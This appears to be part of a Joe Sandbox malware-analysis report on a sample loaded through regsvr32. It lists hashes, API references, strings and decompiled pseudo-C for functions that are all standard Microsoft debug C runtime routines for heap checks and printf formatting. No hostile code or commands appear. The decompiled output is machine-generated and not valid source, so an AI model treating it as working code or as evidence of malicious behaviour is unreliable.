API String ID: 2123368286-2245755083
Opcode ID: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction ID: 19b7c93d4736ed7bda32945b1fb5f0ab86c56f1dc684690d029957412a3b2f1f
Opcode Fuzzy Hash: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction Fuzzy Hash: 8C71E83291C786CAE7A09F58E84476EB7E0F785754F214135E6CA47BA4CB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
L7, xrefs: 000007FEF9D25C0F
LX, xrefs: 000007FEF9D25B5F
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction ID: 366f9875c4733d956d5456637ee1c03ed06e45eb4220731ed3e90847f50651e0
Opcode Fuzzy Hash: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction Fuzzy Hash: FB314D36A1874A86EBE48B59E84172E67D1F785784F614036EACD83BB4DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction ID: 6b22acafcb165364cee05dc597c268ac6a46098997f00e2a063c2d8cfde95e66
Opcode Fuzzy Hash: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction Fuzzy Hash: D441B836619B8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction ID: ca3ec57313c22d844cddba0ccc7478434e3ff2f5ac626f229199dffed11d05c2
Opcode Fuzzy Hash: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction Fuzzy Hash: 83D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6DD87AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
7, xrefs: 000007FEF9D3DFAD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction ID: 7092a431cc2f14586a5b6039053772aca43f1c1a92c9fb0ada713ca2b75f96be
Opcode Fuzzy Hash: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction Fuzzy Hash: 93B10D7260CAC286E7B1DB55E8417AFB7E0F784356F104026EAC987AA9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5
(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction ID: 5b23c079d1b4d794af0cdd69ad2b30100ea5e3abf5a9ef6833dde17c78c07454
Opcode Fuzzy Hash: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction Fuzzy Hash: 40911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

w, xrefs: 000007FEF9D3BE63
_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction ID: d6c85ddd6a9fac6d59453cfc6279b165f514207326055716b4e5bf0dd1bf0ecb
Opcode Fuzzy Hash: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction Fuzzy Hash: 0A916F72A0D6C68AE3F08B54E88477EB7E4E385342F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
w, xrefs: 000007FEF9D3DE11
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction ID: 52af39986bd237b596cdecada1f5af7c0900048515ebe490badd59f4da94dd67
Opcode Fuzzy Hash: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction Fuzzy Hash: 35910A62A0C6C18AE7F08B55E88077EB3E1F385756F600026E6CD87AA4DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
0, xrefs: 000007FEF9D3BD31
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction ID: f671f2f81670ff54d1d55a26610e2e3881df7bf560f190d6bc7d2e9ce8938301
Opcode Fuzzy Hash: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction Fuzzy Hash: 8B517E72A0D6C28AF3F18B64E855BBEB7E4F384345F600126D2C9869A9DB7DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
